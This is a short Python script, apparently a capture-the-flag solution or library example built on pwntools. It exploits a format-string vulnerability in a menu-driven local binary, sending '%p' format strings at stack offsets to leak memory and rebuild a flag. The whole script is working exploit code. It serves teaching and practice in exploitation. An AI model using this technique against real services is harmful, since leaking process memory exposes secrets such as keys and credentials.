#!/usr/bin/env python3

from flashlib import *

if not args.REMOTE:
    """
    The fmt_fuzz_all works in both cases, if we
    have a local file, or not.
    """
    init("./fmt-fuzz-all-invoker_patched", aslr=False)

def invoker(ctx: pwnlib.tubes, fmt: str):
    """
    A sample invoker function that will simply
    run until it gets the fmt to the stdout.

    NOTE: Do not parse the leaks else it will fail,
    just trigger the format string.
    """

    # this will read the flag onto the stack
    ctx.sendlineafter(b">> ", b"3")

    # this will send the format string to be stored.
    ctx.sendlineafter(b">> ", b"1")
    ctx.sendlineafter(b"$ ", encode(fmt))
    
    # this will trigger the format string:
    ctx.sendlineafter(b">> ", b"2")

"""
You can also, for testing; manually invoke the invoker function
invoker(io, b"|%3$p|")
"""
leaks = fmt_fuzz_all(
    start=40,
    max=3,
    invoker=invoker,
    show=False,
    specifiers=['p'],
)

flag = b""
for leak in leaks:
    flag += leak['unhex']['p']

info(f"got flag: {flag.decode()}")